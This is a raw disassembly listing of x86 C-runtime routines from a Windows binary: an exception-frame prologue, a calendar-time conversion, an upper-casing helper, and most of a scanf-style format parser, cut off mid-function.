push offset dword_4248C0 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, off_435FF4 test eax, eax jz short loc_41D59A mov [ebp+var_4], 1 call eax ; sub_41D4FC jmp short loc_41D596 ; --------------------------------------------------------------------------- loc_41D58F: ; DATA XREF: ___:004248D0o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41D593: ; DATA XREF: ___:004248D4o mov esp, [ebp+var_18] loc_41D596: ; CODE XREF: sub_41D552+3Bj and [ebp+var_4], 0 loc_41D59A: ; CODE XREF: sub_41D552+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_41D5A3: ; DATA XREF: ___:004248C8o jmp sub_41D4FC sub_41D552 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D5A8 proc near ; CODE XREF: sub_418603+7p ; sub_418603+26p var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4CF028 push esi cmp eax, 3 jnz short loc_41D5D1 mov esi, [ebp+arg_0] push esi call sub_41AD89 test eax, eax pop ecx jz short loc_41D5CE mov eax, [esi-4] sub eax, 9 jmp short loc_41D606 ; --------------------------------------------------------------------------- loc_41D5CE: ; CODE XREF: sub_41D5A8+1Cj push esi jmp short loc_41D5F8 ; --------------------------------------------------------------------------- loc_41D5D1: ; CODE XREF: sub_41D5A8+Ej cmp eax, 2 jnz short loc_41D5F5 lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax push [ebp+arg_0] call sub_41BAE4 add esp, 0Ch test eax, eax jz short loc_41D5F5 movzx eax, byte ptr [eax] shl eax, 4 jmp short loc_41D606 ; --------------------------------------------------------------------------- loc_41D5F5: ; CODE XREF: sub_41D5A8+2Cj ; sub_41D5A8+43j push [ebp+arg_0] loc_41D5F8: ; CODE XREF: sub_41D5A8+27j push 0 push dword_4CF024 nop call near ptr 28806E2h loc_41D606: ; CODE XREF: sub_41D5A8+24j ; sub_41D5A8+4Bj pop esi leave retn sub_41D5A8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D609 proc near ; CODE XREF: sub_4186B1+C9p var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_0] sub ebx, 76Ch cmp ebx, 46h jl loc_41D6C5 cmp ebx, 8Ah jg loc_41D6C5 push esi push edi mov edi, [ebp+arg_4] mov esi, dword_436724[edi*4] add esi, [ebp+arg_8] test bl, 3 jnz short loc_41D648 cmp edi, 2 jle short loc_41D648 inc esi loc_41D648: ; CODE XREF: sub_41D609+37j ; sub_41D609+3Cj call sub_420939 mov eax, ebx lea ecx, [ebx-1] imul eax, 16Dh sar ecx, 2 mov edx, esi mov [ebp+var_8], esi add edx, ecx mov [ebp+var_10], ebx add eax, edx mov edx, [ebp+arg_14] lea ecx, [eax+eax*2] mov eax, [ebp+arg_C] mov [ebp+var_1C], eax lea ecx, [eax+ecx*8] imul ecx, 3Ch add ecx, [ebp+arg_10] imul ecx, 3Ch add ecx, dword_436640 dec edi cmp [ebp+arg_18], 1 mov [ebp+var_14], edi pop edi pop esi lea ecx, [ecx+edx+7C558180h] mov [ebp+arg_0], ecx jz short loc_41D6BB cmp [ebp+arg_18], 0FFFFFFFFh jnz short loc_41D6C1 cmp dword_436644, 0 jz short loc_41D6C1 lea eax, [ebp+var_24] push eax call sub_420BAC pop ecx mov ecx, [ebp+arg_0] test eax, eax jz short loc_41D6C1 loc_41D6BB: ; CODE XREF: sub_41D609+90j add ecx, dword_436648 loc_41D6C1: ; CODE XREF: sub_41D609+96j ; sub_41D609+9Fj ... mov eax, ecx jmp short loc_41D6C8 ; --------------------------------------------------------------------------- loc_41D6C5: ; CODE XREF: sub_41D609+13j ; sub_41D609+1Fj or eax, 0FFFFFFFFh loc_41D6C8: ; CODE XREF: sub_41D609+BAj pop ebx leave retn sub_41D609 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D6CB proc near ; CODE XREF: sub_418833+12Bp var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4CDA48, 0 push ebx jnz short loc_41D6F6 mov eax, [ebp+arg_0] cmp eax, 61h jl loc_41D794 cmp eax, 7Ah jg loc_41D794 sub eax, 20h jmp loc_41D794 ; --------------------------------------------------------------------------- loc_41D6F6: ; CODE XREF: sub_41D6CB+Cj mov ebx, [ebp+arg_0] cmp ebx, 100h jge short loc_41D729 cmp dword_433E7C, 1 jle short loc_41D716 push 2 push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41D721 ; --------------------------------------------------------------------------- loc_41D716: ; CODE XREF: sub_41D6CB+3Dj mov eax, off_433C70 mov al, [eax+ebx*2] and eax, 2 loc_41D721: ; CODE XREF: sub_41D6CB+49j test eax, eax jnz short loc_41D729 loc_41D725: ; CODE XREF: sub_41D6CB+AFj mov eax, ebx jmp short loc_41D794 ; --------------------------------------------------------------------------- loc_41D729: ; CODE XREF: sub_41D6CB+34j ; sub_41D6CB+58j mov edx, off_433C70 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_41D74C and byte ptr [ebp+arg_0+2], 0 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl push 2 jmp short loc_41D755 ; --------------------------------------------------------------------------- loc_41D74C: ; CODE XREF: sub_41D6CB+71j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl push 1 loc_41D755: ; CODE XREF: sub_41D6CB+7Fj pop eax lea ecx, [ebp+var_4] push 1 push 0 push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push 200h push dword_4CDA48 call sub_41E709 add esp, 20h test eax, eax jz short loc_41D725 cmp eax, 1 jnz short loc_41D787 movzx eax, [ebp+var_4] jmp short loc_41D794 ; --------------------------------------------------------------------------- loc_41D787: ; CODE XREF: sub_41D6CB+B4j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_41D794: ; CODE XREF: sub_41D6CB+14j ; sub_41D6CB+1Dj ... pop ebx leave retn sub_41D6CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D797 proc near ; CODE XREF: sub_418A52+2Ap var_1C4 = byte ptr -1C4h var_1C3 = byte ptr -1C3h var_64 = byte ptr -64h var_59 = byte ptr -59h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_37 = byte ptr -37h var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C4h and [ebp+var_15], 0 push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx push edi mov al, [esi] mov [ebp+var_4], ebx test al, al mov [ebp+var_34], ebx jz loc_41E19D mov edi, [ebp+arg_0] jmp short loc_41D7C6 ; --------------------------------------------------------------------------- loc_41D7C1: ; CODE XREF: sub_41D797+9CEj mov edi, [ebp+arg_0] xor ebx, ebx loc_41D7C6: ; CODE XREF: sub_41D797+28j cmp dword_433E7C, 1 jle short loc_41D7DE movzx eax, al push 8 push eax call sub_41A642 pop ecx pop ecx jmp short loc_41D7ED ; --------------------------------------------------------------------------- loc_41D7DE: ; CODE XREF: sub_41D797+36j mov ecx, off_433C70 movzx eax, al mov al, [ecx+eax*2] and eax, 8 loc_41D7ED: ; CODE XREF: sub_41D797+45j cmp eax, ebx jz short loc_41D827 dec [ebp+var_4] push edi lea eax, [ebp+var_4] push edi push eax call sub_41E224 pop ecx pop ecx push eax call sub_41E20D movzx eax, byte ptr [esi+1] inc esi push eax call sub_420F60 add esp, 0Ch loc_41D815: ; CODE XREF: sub_41D797+8Ej test eax, eax jz short loc_41D827 movzx eax, byte ptr [esi+1] inc esi push eax call sub_420F60 pop ecx jmp short loc_41D815 ; --------------------------------------------------------------------------- loc_41D827: ; CODE XREF: sub_41D797+58j ; sub_41D797+80j cmp byte ptr [esi], 25h jnz loc_41E109 and [ebp+var_35], 0 and [ebp+var_18], 0 and [ebp+var_17], 0 and [ebp+var_E], 0 and [ebp+var_F], 0 and [ebp+var_16], 0 xor edi, edi and [ebp+var_5], 0 mov [ebp+var_1C], ebx mov [ebp+var_20], ebx mov [ebp+var_C], ebx mov [ebp+var_D], 1 mov [ebp+var_30], ebx loc_41D85E: ; CODE XREF: sub_41D797+172j movzx ebx, byte ptr [esi+1] inc esi cmp dword_433E7C, 1 jle short loc_41D87B movzx eax, bl push 4 push eax call sub_41A642 pop ecx pop ecx jmp short loc_41D88A ; --------------------------------------------------------------------------- loc_41D87B: ; CODE XREF: sub_41D797+D3j mov ecx, off_433C70 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_41D88A: ; CODE XREF: sub_41D797+E2j test eax, eax jz short loc_41D8A0 mov eax, [ebp+var_C] inc [ebp+var_20] lea eax, [eax+eax*4] lea eax, [ebx+eax*2-30h] mov [ebp+var_C], eax jmp short loc_41D905 ; --------------------------------------------------------------------------- loc_41D8A0: ; CODE XREF: sub_41D797+F5j cmp ebx, 4Eh jg short loc_41D8E3 jz short loc_41D905 cmp ebx, 2Ah jz short loc_41D8DE cmp ebx, 46h jz short loc_41D905 cmp ebx, 49h jz short loc_41D8C0 cmp ebx, 4Ch jnz short loc_41D8F2 inc [ebp+var_D] jmp short loc_41D905 ; --------------------------------------------------------------------------- loc_41D8C0: ; CODE XREF: sub_41D797+11Dj cmp byte ptr [esi+1], 36h jnz short loc_41D8F2 cmp byte ptr [esi+2], 34h lea eax, [esi+2] jnz short loc_41D8F2 inc [ebp+var_30] and [ebp+var_28], 0 and [ebp+var_24], 0 mov esi, eax jmp short loc_41D905 ; --------------------------------------------------------------------------- loc_41D8DE: ; CODE XREF: sub_41D797+113j inc [ebp+var_E] jmp short loc_41D905 ; --------------------------------------------------------------------------- loc_41D8E3: ; CODE XREF: sub_41D797+10Cj cmp ebx, 68h jz short loc_41D8FF cmp ebx, 6Ch jz short loc_41D8F7 cmp ebx, 77h jz short loc_41D8FA loc_41D8F2: ; CODE XREF: sub_41D797+122j ; sub_41D797+12Dj ... inc [ebp+var_F] jmp short loc_41D905 ; --------------------------------------------------------------------------- loc_41D8F7: ; CODE XREF: sub_41D797+154j inc [ebp+var_D] loc_41D8FA: ; CODE XREF: sub_41D797+159j inc [ebp+var_5] jmp short loc_41D905 ; --------------------------------------------------------------------------- loc_41D8FF: ; CODE XREF: sub_41D797+14Fj dec [ebp+var_D] dec [ebp+var_5] loc_41D905: ; CODE XREF: sub_41D797+107j ; sub_41D797+10Ej ... cmp [ebp+var_F], 0 jz loc_41D85E cmp [ebp+var_E], 0 mov [ebp+arg_4], esi jnz short loc_41D92A mov eax, [ebp+arg_8] mov [ebp+var_44], eax add eax, 4 mov [ebp+arg_8], eax mov eax, [eax-4] mov [ebp+var_2C], eax loc_41D92A: ; CODE XREF: sub_41D797+17Fj and [ebp+var_F], 0 cmp [ebp+var_5], 0 jnz short loc_41D948 mov al, [esi] cmp al, 53h jz short loc_41D944 cmp al, 43h jz short loc_41D944 or [ebp+var_5], 0FFh jmp short loc_41D948 ; --------------------------------------------------------------------------- loc_41D944: ; CODE XREF: sub_41D797+1A1j ; sub_41D797+1A5j mov [ebp+var_5], 1 loc_41D948: ; CODE XREF: sub_41D797+19Bj ; sub_41D797+1ABj mov ebx, [ebp+arg_4] movzx esi, byte ptr [ebx] or esi, 20h cmp esi, 6Eh mov [ebp+var_3C], esi jz short loc_41D981 cmp esi, 63h jz short loc_41D972 cmp esi, 7Bh jz short loc_41D972 push [ebp+arg_0] lea eax, [ebp+var_4] push eax call sub_41E224 pop ecx jmp short loc_41D97D ; --------------------------------------------------------------------------- loc_41D972: ; CODE XREF: sub_41D797+1C5j ; sub_41D797+1CAj push [ebp+arg_0] inc [ebp+var_4] call sub_41E1F3 loc_41D97D: ; CODE XREF: sub_41D797+1D9j pop ecx mov [ebp+var_14], eax loc_41D981: ; CODE XREF: sub_41D797+1C0j xor eax, eax cmp [ebp+var_20], eax jz short loc_41D991 cmp [ebp+var_C], eax jz loc_41E16D loc_41D991: ; CODE XREF: sub_41D797+1EFj cmp esi, 6Fh jg loc_41DBF8 jz loc_41DEAA cmp esi, 63h jz loc_41DBD5 cmp esi, 64h jz loc_41DEAA jle loc_41DC22 cmp esi, 67h jle short loc_41D9F5 cmp esi, 69h jz short loc_41D9DD cmp esi, 6Eh jnz loc_41DC22 cmp [ebp+var_E], 0 mov edi, [ebp+var_4] jz loc_41E0D8 jmp loc_41E0FE ; --------------------------------------------------------------------------- loc_41D9DD: ; CODE XREF: sub_41D797+229j push 64h pop esi loc_41D9E0: ; CODE XREF: sub_41D797+480j mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz loc_41DC6A mov [ebp+var_17], 1 jmp loc_41DC6F ; --------------------------------------------------------------------------- loc_41D9F5: ; CODE XREF: sub_41D797+224j mov ebx, [ebp+var_14] lea esi, [ebp+var_1C4] cmp ebx, 2Dh jnz short loc_41DA11 mov [ebp+var_1C4], bl lea esi, [ebp+var_1C3] jmp short loc_41DA16 ; --------------------------------------------------------------------------- loc_41DA11: ; CODE XREF: sub_41D797+26Aj cmp ebx, 2Bh jnz short loc_41DA2D loc_41DA16: ; CODE XREF: sub_41D797+278j mov edi, [ebp+arg_0] dec [ebp+var_C] inc [ebp+var_4] push edi call sub_41E1F3 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41DA30 ; --------------------------------------------------------------------------- loc_41DA2D: ; CODE XREF: sub_41D797+27Dj mov edi, [ebp+arg_0] loc_41DA30: ; CODE XREF: sub_41D797+294j cmp [ebp+var_20], 0 jz short loc_41DA3F cmp [ebp+var_C], 15Dh jle short loc_41DA46 loc_41DA3F: ; CODE XREF: sub_41D797+29Dj mov [ebp+var_C], 15Dh loc_41DA46: ; CODE XREF: sub_41D797+2A6j ; sub_41D797+2F2j cmp dword_433E7C, 1 jle short loc_41DA5B push 4 push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41DA66 ; --------------------------------------------------------------------------- loc_41DA5B: ; CODE XREF: sub_41D797+2B6j mov eax, off_433C70 mov al, [eax+ebx*2] and eax, 4 loc_41DA66: ; CODE XREF: sub_41D797+2C2j test eax, eax jz short loc_41DA8B mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41DA8B inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_41E1F3 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41DA46 ; --------------------------------------------------------------------------- loc_41DA8B: ; CODE XREF: sub_41D797+2D1j ; sub_41D797+2DBj cmp byte_433E80, bl jnz short loc_41DAF9 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41DAF9 inc [ebp+var_4] push edi call sub_41E1F3 mov ebx, eax mov al, byte_433E80 mov [esi], al pop ecx mov [ebp+var_14], ebx inc esi loc_41DAB4: ; CODE XREF: sub_41D797+360j cmp dword_433E7C, 1 jle short loc_41DAC9 push 4 push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41DAD4 ; --------------------------------------------------------------------------- loc_41DAC9: ; CODE XREF: sub_41D797+324j mov eax, off_433C70 mov al, [eax+ebx*2] and eax, 4 loc_41DAD4: ; CODE XREF: sub_41D797+330j test eax, eax jz short loc_41DAF9 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41DAF9 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_41E1F3 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41DAB4 ; --------------------------------------------------------------------------- loc_41DAF9: ; CODE XREF: sub_41D797+2FAj ; sub_41D797+304j ... cmp [ebp+var_1C], 0 jz loc_41DB91 cmp ebx, 65h jz short loc_41DB11 cmp ebx, 45h jnz loc_41DB91 loc_41DB11: ; CODE XREF: sub_41D797+36Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41DB91 mov byte ptr [esi], 65h inc esi inc [ebp+var_4] push edi call sub_41E1F3 mov ebx, eax pop ecx cmp ebx, 2Dh mov [ebp+var_14], ebx jnz short loc_41DB38 mov [esi], al inc esi jmp short loc_41DB3D ; --------------------------------------------------------------------------- loc_41DB38: ; CODE XREF: sub_41D797+39Aj cmp ebx, 2Bh jnz short loc_41DB5B loc_41DB3D: ; CODE XREF: sub_41D797+39Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jnz short loc_41DB4C and [ebp+var_C], eax jmp short loc_41DB5B ; --------------------------------------------------------------------------- loc_41DB4C: ; CODE XREF: sub_41D797+3AEj ; sub_41D797+3F8j inc [ebp+var_4] push edi call sub_41E1F3 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_41DB5B: ; CODE XREF: sub_41D797+3A4j ; sub_41D797+3B3j cmp dword_433E7C, 1 jle short loc_41DB70 push 4 push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41DB7B ; --------------------------------------------------------------------------- loc_41DB70: ; CODE XREF: sub_41D797+3CBj mov eax, off_433C70 mov al, [eax+ebx*2] and eax, 4 loc_41DB7B: ; CODE XREF: sub_41D797+3D7j test eax, eax jz short loc_41DB91 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41DB91 inc [ebp+var_1C] mov [esi], bl inc esi jmp short loc_41DB4C ; --------------------------------------------------------------------------- loc_41DB91: ; CODE XREF: sub_41D797+366j ; sub_41D797+374j ... dec [ebp+var_4] push edi push ebx call sub_41E20D cmp [ebp+var_1C], 0 pop ecx pop ecx jz loc_41E19D cmp [ebp+var_E], 0 jnz loc_41E0FE inc [ebp+var_34] and byte ptr [esi], 0 lea eax, [ebp+var_1C4] push eax movsx eax, [ebp+var_D] push [ebp+var_2C] dec eax push eax call off_435FD8 add esp, 0Ch jmp loc_41E0FE ; --------------------------------------------------------------------------- loc_41DBD5: ; CODE XREF: sub_41D797+20Cj cmp [ebp+var_20], eax jnz short loc_41DBE4 inc [ebp+var_C] mov [ebp+var_20], 1 loc_41DBE4: ; CODE XREF: sub_41D797+441j cmp [ebp+var_5], 0 jle short loc_41DBEE mov [ebp+var_16], 1 loc_41DBEE: ; CODE XREF: sub_41D797+451j mov edi, offset dword_436000 jmp loc_41DD03 ; --------------------------------------------------------------------------- loc_41DBF8: ; CODE XREF: sub_41D797+1FDj mov eax, esi sub eax, 70h jz loc_41DEA6 sub eax, 3 jz loc_41DCF4 dec eax dec eax jz loc_41DEAA sub eax, 3 jz loc_41D9E0 sub eax, 3 jz short loc_41DC46 loc_41DC22: ; CODE XREF: sub_41D797+21Bj ; sub_41D797+22Ej movzx eax, byte ptr [ebx] cmp eax, [ebp+var_14] jnz loc_41E16D dec [ebp+var_15] cmp [ebp+var_E], 0 jnz loc_41E0FE mov eax, [ebp+var_44] mov [ebp+arg_8], eax jmp loc_41E0FE ; --------------------------------------------------------------------------- loc_41DC46: ; CODE XREF: sub_41D797+489j cmp [ebp+var_5], 0 jle short loc_41DC50 mov [ebp+var_16], 1 loc_41DC50: ; CODE XREF: sub_41D797+4B3j mov edi, [ebp+arg_4] inc edi mov [ebp+arg_4], edi cmp byte ptr [edi], 5Eh jnz loc_41DD07 mov eax, edi lea edi, [eax+1] jmp loc_41DD03 ; --------------------------------------------------------------------------- loc_41DC6A: ; CODE XREF: sub_41D797+24Fj cmp ebx, 2Bh jnz short loc_41DC91 loc_41DC6F: ; CODE XREF: sub_41D797+259j dec [ebp+var_C] jnz short loc_41DC80 cmp [ebp+var_20], 0 jz short loc_41DC80 mov [ebp+var_F], 1 jmp short loc_41DC91 ; --------------------------------------------------------------------------- loc_41DC80: ; CODE XREF: sub_41D797+4DBj ; sub_41D797+4E1j push [ebp+arg_0] inc [ebp+var_4] call sub_41E1F3 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_41DC91: ; CODE XREF: sub_41D797+4D6j ; sub_41D797+4E7j cmp ebx, 30h jnz loc_41DEDF push [ebp+arg_0] inc [ebp+var_4] call sub_41E1F3 mov ebx, eax pop ecx cmp bl, 78h mov [ebp+var_14], ebx jz short loc_41DCDF cmp bl, 58h jz short loc_41DCDF cmp esi, 78h mov [ebp+var_1C], 1 jz short loc_41DCC9 push 6Fh loc_41DCC3: ; CODE XREF: sub_41D797+55Bj pop esi jmp loc_41DEDF ; --------------------------------------------------------------------------- loc_41DCC9: ; CODE XREF: sub_41D797+528j push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_41E20D pop ecx pop ecx push 30h pop ebx jmp loc_41DEDC ; --------------------------------------------------------------------------- loc_41DCDF: ; CODE XREF: sub_41D797+517j ; sub_41D797+51Cj push [ebp+arg_0] inc [ebp+var_4] call sub_41E1F3 pop ecx mov ebx, eax mov [ebp+var_14], ebx push 78h jmp short loc_41DCC3 ; --------------------------------------------------------------------------- loc_41DCF4: ; CODE XREF: sub_41D797+46Fj cmp [ebp+var_5], 0 jle short loc_41DCFE mov [ebp+var_16], 1 loc_41DCFE: ; CODE XREF: sub_41D797+561j mov edi, offset dword_435FF8 loc_41DD03: ; CODE XREF: sub_41D797+45Cj ; sub_41D797+4CEj or [ebp+var_18], 0FFh loc_41DD07: ; CODE XREF: sub_41D797+4C3j push 20h lea eax, [ebp+var_64] push 0 push eax call sub_417330 add esp, 0Ch cmp [ebp+var_3C], 7Bh jnz short loc_41DD2B cmp byte ptr [edi], 5Dh jnz short loc_41DD2B mov dl, 5Dh inc edi mov [ebp+var_59], 20h jmp short loc_41DD2E ; --------------------------------------------------------------------------- loc_41DD2B: ; CODE XREF: sub_41D797+584j ; sub_41D797+589j mov dl, [ebp+var_35] loc_41DD2E: ; CODE XREF: sub_41D797+592j ; sub_41D797+5E1j ... mov al, [edi] cmp al, 5Dh jz short loc_41DD93 inc edi cmp al, 2Dh jnz short loc_41DD7A test dl, dl jz short loc_41DD7A mov cl, [edi] cmp cl, 5Dh jz short loc_41DD7A inc edi cmp dl, cl jnb short loc_41DD4D mov al, cl jmp short loc_41DD51 ; --------------------------------------------------------------------------- loc_41DD4D: ; CODE XREF: sub_41D797+5B0j mov al, dl mov dl, cl loc_41DD51: ; CODE XREF: sub_41D797+5B4j cmp dl, al ja short loc_41DD76 movzx edx, dl movzx esi, al sub esi, edx inc esi loc_41DD5E: ; CODE XREF: sub_41D797+5DDj mov ecx, edx mov eax, edx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl inc edx dec esi jnz short loc_41DD5E loc_41DD76: ; CODE XREF: sub_41D797+5BCj xor dl, dl jmp short loc_41DD2E ; --------------------------------------------------------------------------- loc_41DD7A: ; CODE XREF: sub_41D797+5A0j ; sub_41D797+5A4j ... movzx ecx, al mov dl, al mov eax, ecx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl jmp short loc_41DD2E ; --------------------------------------------------------------------------- loc_41DD93: ; CODE XREF: sub_41D797+59Bj cmp byte ptr [edi], 0 jz loc_41E19D cmp [ebp+var_3C], 7Bh jnz short loc_41DDA5 mov [ebp+arg_4], edi loc_41DDA5: ; CODE XREF: sub_41D797+609j mov edi, [ebp+arg_0] mov esi, [ebp+var_2C] dec [ebp+var_4] push edi push [ebp+var_14] mov [ebp+var_30], esi call sub_41E20D pop ecx pop ecx loc_41DDBC: ; CODE XREF: sub_41D797+6BCj ; sub_41D797+6C4j cmp [ebp+var_20], 0 jz short loc_41DDD0 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz loc_41DE6C loc_41DDD0: ; CODE XREF: sub_41D797+629j inc [ebp+var_4] push edi call sub_41E1F3 cmp eax, 0FFFFFFFFh pop ecx mov [ebp+var_14], eax jz short loc_41DE60 mov ecx, eax push 1 and ecx, 7 pop edx movsx ebx, [ebp+var_18] shl edx, cl mov ecx, eax sar ecx, 3 movsx ecx, [ebp+ecx+var_64] xor ecx, ebx test edx, ecx jz short loc_41DE60 cmp [ebp+var_E], 0 jnz short loc_41DE58 cmp [ebp+var_16], 0 jz short loc_41DE4D mov ecx, off_433C70 mov [ebp+var_38], al movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_41DE2C inc [ebp+var_4] push edi call sub_41E1F3 pop ecx mov [ebp+var_37], al loc_41DE2C: ; CODE XREF: sub_41D797+686j push dword_433E7C lea eax, [ebp+var_38] push eax lea eax, [ebp+var_3E] push eax call sub_420E98 mov ax, [ebp+var_3E] add esp, 0Ch mov [esi], ax inc esi inc esi jmp short loc_41DE50 ; --------------------------------------------------------------------------- loc_41DE4D: ; CODE XREF: sub_41D797+673j mov [esi], al inc esi loc_41DE50: ; CODE XREF: sub_41D797+6B4j mov [ebp+var_2C], esi jmp loc_41DDBC ; --------------------------------------------------------------------------- loc_41DE58: ; CODE XREF: sub_41D797+66Dj inc [ebp+var_30] jmp loc_41DDBC ; --------------------------------------------------------------------------- loc_41DE60: ; CODE XREF: sub_41D797+649j ; sub_41D797+667j dec [ebp+var_4] push edi push eax call sub_41E20D pop ecx pop ecx loc_41DE6C: ; CODE XREF: sub_41D797+633j cmp [ebp+var_30], esi jz loc_41E19D cmp [ebp+var_E], 0 jnz loc_41E0FE inc [ebp+var_34] cmp [ebp+var_3C], 63h jz loc_41E0FE cmp [ebp+var_16], 0 mov eax, [ebp+var_2C] jz short loc_41DE9E and word ptr [eax], 0 jmp loc_41E0FE ; --------------------------------------------------------------------------- loc_41DE9E: ; CODE XREF: sub_41D797+6FCj and byte ptr [eax], 0 jmp loc_41E0FE ; --------------------------------------------------------------------------- loc_41DEA6: ; CODE XREF: sub_41D797+466j mov [ebp+var_D], 1 loc_41DEAA: ; CODE XREF: sub_41D797+203j ; sub_41D797+215j ... mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz short loc_41DEB8 mov [ebp+var_17], 1 jmp short loc_41DEBD ; --------------------------------------------------------------------------- loc_41DEB8: ; CODE XREF: sub_41D797+719j cmp ebx, 2Bh jnz short loc_41DEDF loc_41DEBD: ; CODE XREF: sub_41D797+71Fj dec [ebp+var_C] jnz short loc_41DECE cmp [ebp+var_20], 0 jz short loc_41DECE mov [ebp+var_F], 1 jmp short loc_41DEDF ; --------------------------------------------------------------------------- loc_41DECE: ; CODE XREF: sub_41D797+729j ; sub_41D797+72Fj push [ebp+arg_0] inc [ebp+var_4] call sub_41E1F3 pop ecx mov ebx, eax loc_41DEDC: ; CODE XREF: sub_41D797+543j mov [ebp+var_14], ebx loc_41DEDF: ; CODE XREF: sub_41D797+4FDj ; sub_41D797+52Dj ... cmp [ebp+var_30], 0 jz loc_41DFF8 cmp [ebp+var_F], 0 jnz loc_41DFD6 loc_41DEF3: ; CODE XREF: sub_41D797+82Cj cmp esi, 78h jnz short loc_41DF47 cmp dword_433E7C, 1 jle short loc_41DF10 push 80h push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41DF1D ; --------------------------------------------------------------------------- loc_41DF10: ; CODE XREF: sub_41D797+768j mov eax, off_433C70 mov al, [eax+ebx*2] and eax, 80h loc_41DF1D: ; CODE XREF: sub_41D797+777j test eax, eax jz loc_41DFC8 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 4 pop ecx call sub_420F90 push ebx mov [ebp+var_28], eax mov [ebp+var_24], edx call sub_41E1BC mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41DF9A ; --------------------------------------------------------------------------- loc_41DF47: ; CODE XREF: sub_41D797+75Fj cmp dword_433E7C, 1 jle short loc_41DF5C push 4 push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41DF67 ; --------------------------------------------------------------------------- loc_41DF5C: ; CODE XREF: sub_41D797+7B7j mov eax, off_433C70 mov al, [eax+ebx*2] and eax, 4 loc_41DF67: ; CODE XREF: sub_41D797+7C3j test eax, eax jz short loc_41DFC8 cmp esi, 6Fh jnz short loc_41DF85 cmp ebx, 38h jge short loc_41DFC8 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 3 pop ecx call sub_420F90 jmp short loc_41DF94 ; --------------------------------------------------------------------------- loc_41DF85: ; CODE XREF: sub_41D797+7D7j push 0 push 0Ah push [ebp+var_24] push [ebp+var_28] call sub_417760 loc_41DF94: ; CODE XREF: sub_41D797+7ECj mov [ebp+var_28], eax mov [ebp+var_24], edx loc_41DF9A: ; CODE XREF: sub_41D797+7AEj inc [ebp+var_1C] lea eax, [ebx-30h] cdq add [ebp+var_28], eax adc [ebp+var_24], edx cmp [ebp+var_20], 0 jz short loc_41DFB2 dec [ebp+var_C] jz short loc_41DFD6 loc_41DFB2: ; CODE XREF: sub_41D797+814j push [ebp+arg_0] inc [ebp+var_4] call sub_41E1F3 mov ebx, eax pop ecx mov [ebp+var_14], ebx 